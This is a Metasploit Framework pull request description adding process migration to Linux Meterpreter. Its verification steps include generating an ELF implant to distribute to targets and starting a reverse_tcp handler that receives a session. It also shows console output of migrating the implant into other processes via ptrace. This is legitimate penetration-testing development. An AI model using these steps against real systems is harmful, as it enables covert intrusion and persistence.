rapid7/metasploit-framework — pull request #3594 by jvazquez-r7 (2014-07-31 19:41:36+00:00)
Title: Linux meterpreter migrate

Add support to migrate to linux meterpreter.

Requirements
-------
Meterpreter binaries with the changes here: https://github.com/rapid7/meterpreter/pull/93

Verification
-------
- [ ] Update data/meterpreter with https://github.com/rapid7/meterpreter/pull/93 binaries
- [ ] Use msfpayload to generate an ELF with meterpreter to distribute to your targets.
- [ ] Use exploit/multi/handler to get linux meterpreter sessions.

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1142784 bytes) to 172.16.158.221
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.221:33246) at 2014-07-31 14:35:46 -0500

meterpreter >
```

- [ ] On systems allowing to ptrace any process running with the same user privileges (Ex: Ubuntu 10.04). Just migrate to another user process:

```
meterpreter > ps
......
.....
.....
4897 2 [flush-8:0] 0 root
4912 2846 dummy 0 juan /home/juan/dummy
4915 2310 meterpreter.elf 0 juan /home/juan/meterpreter.elf
23799 1 [gedit] 0 juan

meterpreter > getpid
Current pid: 4915
meterpreter > migrate 4912
[*] Migrating to 4912
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 4912
meterpreter >
```

- [ ] On systems allowing to ptrace only child processes (unless root) (Ex: Ubuntu 12.04) create a child process and migrate there:

```
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 3.2.0-23-generic-pae #36-Ubuntu SMP Tue Apr 10 22:19:09 UTC 2012 (i686)
Architecture : i686
Meterpreter : x86/linux
meterpreter > getpid
Current pid: 14103
meterpreter > execute -c -f /home/juan/dummy
Process 14117 created.
Channel 1 created.
meterpreter > migrate 14117
[*] Migrating to 14117
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 14117
```

- [ ] Verify which relays created with portfwd are migrated to the new session.
- [ ] Verify which the new session is usable, hopefully as usable as the original one!
- [ ] Verify which windows meterpreter migration works as before.